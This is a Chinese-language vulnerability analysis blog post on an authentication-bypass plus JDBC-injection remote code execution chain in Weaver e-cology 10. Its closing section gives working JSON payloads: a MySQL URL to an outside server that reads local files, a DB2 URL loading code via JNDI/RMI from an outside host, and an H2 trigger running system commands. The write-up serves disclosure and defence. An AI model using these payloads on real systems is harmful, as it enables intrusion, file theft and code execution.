某微 e-cology 远程代码执行漏洞分析(XVE-2024-20913)
Le1a 发表于 四川 历史精选 3258浏览 · 2024-08-21 04:51

作者:Le1a@微步漏洞团队

漏洞分析

这个漏洞是一个前台身份验证绕过加上后台JDBC注入的组合漏洞。首先来分析一下这个身份验证绕过漏洞。

serviceTicketId

漏洞代码位于com.weaver.passport.controller.RestLoginController#appThirdLogin()

public Map<String, String> appThirdLogin(HttpServletRequest request, HttpServletResponse response, final String username, String service, final String ip) {
    String loginType = request.getParameter("loginType");
    String tgtId = SecurityCasUtils.getCookie(request, "ETEAMS_TGC");
    return this.restLoginService.appThirdLogin(loginType, tgtId, response, username, service, ip, "zh_CN");
}

跟进到restLoginService.appThirdLogin()

该方法会根据传入的 loginType 参数获取对应的 CasLoginEnum。如果当前没有可用的票据(ticket),则会使用传入的 username 创建一个新的 TicketGrantingTicket

WeaverUsernamePasswordCredential credential = new WeaverUsernamePasswordCredential(username, password: "authPasswordFlag");
credential.setNoPassword(true);
tgtId = this.casLoginTicketService.createTicketGrantingTicket(credential, casLoginEnum);

authenticateInternal 方法中,会根据相应的条件获取用户的相关信息。

userInfo = handler.getUserByEmpId(credential);

最后在appThirdLogin中生成serviceTicketId

result.put("serviceTicketId", this.casLoginTicketService.grantServiceTicket(tgtId, this.casLoginTicketService.getService((String) null), casLoginEnum));

EteamsId

在获取到 serviceTicketId 之后,可以通过调用 PassportLoginController#generateEteamsId() 方法来获取 EteamsId

在泛微 e-cology 10 中,EteamsId 是一种用于会话管理的机制,类似于其他 Web 应用程序中的 Session ID 或 Cookie。

public WeaResult<String> generateEteamsId(@RequestParam String stTicket, @RequestParam(required = false) String service, HttpServletRequest request) {
    logger.info("############# generateEteamsId [stTicket]{}", stTicket, service);
    String eteamsId = this.passportEteamsIdService.generateEteamsIdBySt(stTicket, service, (String)null, request);
    logger.info("############# generateEteamsId [stTicket]{} [eteamsId]{}", stTicket, eteamsId);
    return WeaResult.success(eteamsId);
}

public static String generateTokenId(String credential, String loginType) {
        if (StringUtils.isEmpty(loginType)) {
            return MD5Utils.MD5(credential).toLowerCase();
        } else {
            return !loginType.toUpperCase().startsWith("APP") && !loginType.toUpperCase().startsWith("H5") ? loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() : loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() + "_appType";
        }
    }

这里返回了 EteamsId,它是通过将 loginTypeserviceTicketId 的 MD5 值拼接而成的。在补丁中,已经无法通过该接口获取 EteamsId 了。
不过,该代码给出了构造 EteamsId 的方式,最初我们以为可以手动伪造。但经过测试发现,这并不可行。原因是 this.securityContextCache.put(tokenId, context)EteamsId 存储到了上下文环境中,而手动构造的 EteamsId 没有经历这一步,因此无法通过校验。

JDBC Attack

漏洞点在DataConnController#testConnByBasePassword()

public WareResult testConnByBasePassword(@RequestBody DataSetConn conn, Employee employee) {
    conn.setDbPassword(SqlValidateUtil.base64ToString(conn.getDbPassword()));
    return this.testConn(conn, employee);
}

跟进到testConn()

public WareResult testConn(@RequestBody DataSetConn conn, Employee employee) {
    try {
        return this.dataConnService.testConn(conn, employee);
    } catch (SQLException var4) {
        return new WareResult((Object)null, 500);
    }
}

继续跟进

public WareResult testConn(DataSetConn dataSetConn, Employee employee) throws SQLException {
    Connection conn = this.getConnection(dataSetConn, employee);
    if (conn != null) {
        conn.close();
    }
    return conn != null ? new WareResult((Object)null, 200) : new WareResult((Object)null, 500);
}

该方法会根据 DbType 参数来判断使用哪种数据库驱动。如果相应的驱动尚未加载,它还会通过反射的方式动态获取并实例化该驱动。随后,它会采用 JDK 自带的 DriverManager.getConnection() 方法建立数据库连接。这种方式不需要显式声明数据库驱动,而是由 JDBC URL 来决定使用哪种驱动,但前提是该驱动类已经被成功加载。

public String getDbDriverByType(String dbType) {
    switch (dbType.toLowerCase()) {
        case "mysql5":
            return "com.mysql.jdbc.Driver";
        case "mysql":
        case "mysql8":
            return "com.mysql.cj.jdbc.Driver";
        case "oracle":
            return "oracle.jdbc.driver.OracleDriver";
        case "tidb":
            return "com.mysql.cj.jdbc.Driver";
        case "sqlserver2000":
            return "net.sourceforge.jtds.jdbc.Driver";
        case "sqlserver":
        case "sqlserver2005":
        case "sqlserver2008":
        case "sqlserver2014":
            return "com.microsoft.sqlserver.jdbc.SQLServerDriver";
        case "kingbase":
            return "com.kingbase8.Driver";
        case "dameng":
            return "dm.jdbc.driver.DmDriver";
        case "shentong":
            return "com.oscar.Driver";
        case "postgresql":
            return "org.postgresql.Driver";
        case "db2":
            return "com.ibm.db2.jcc.DB2Driver";
        case "sybase":
            return "com.sybase.jdbc2.jdbc.SybDriver";
        case "informix":
            return "com.informix.jdbc.IfxDriver";
        case "sap hana":
            return "com.sap.db.jdbc.Driver";
        case "gbase":
            return "com.gbase.jdbc.Driver";
        case "gaussdb":
            return "com.huawei.gauss.jdbc.ZenithDriver";
        case "opengauss":
            return "com.huawei.gauss200.jdbc.Driver";
        case "highgo db":
            return "com.highgo.jdbc.Driver";
        default:
            return "";
        }

这里可以利用的点有很多,可以打mysql、db2等,但这两种都需要出网才能利用。

mysql

这里存在 MySQL5.x版本,可以利用它来读取文件。同时,如果存在合适的反序列化漏洞链,也能RCE

{"dbType": "mysql5", "dbUrl": "jdbc:mysql://172.23.80.133:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_C:/windows/win.ini"}

db2

由于新版本 ec10 中使用的 JDK 版本为 8u201,因此需要借助 javax.el.ELProcessor#eval 方法来绕过一些限制。

{"dbType": "db2", "dbUrl": "jdbc:db2://172.23.80.133:50001/BLUDB:clientRerouteServerListJNDIName=rmi://172.23.80.133:1099/localExploitel;"}

H2

更加优雅的利用方式就是通过加载 H2 数据库驱动来实现无需出网的利用。虽然在当前的环境中无法直接加载 H2 驱动,但我们可以寻找其他的方法加载h2驱动:IaAuthclientController#save()

public IaAuthclientCustomDTO getIaAuthclientCustomDTO() {
    return this.iaAuthclientCustomDTO;
}

构造如下格式的数据包即可加载h2数据库驱动

{"isUse": 1, "auth_type": "custom", "iaAuthclientCustomDTO": {"ruleClass": "org.h2.Driver"}}

此时我们就可以利用h2数据库执行任意Java代码了,这里dbType任意即可。

{"dbType": "mysql", "dbUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec(\"whoami\")$$"}
1 条评论
某人
表情
可输入 255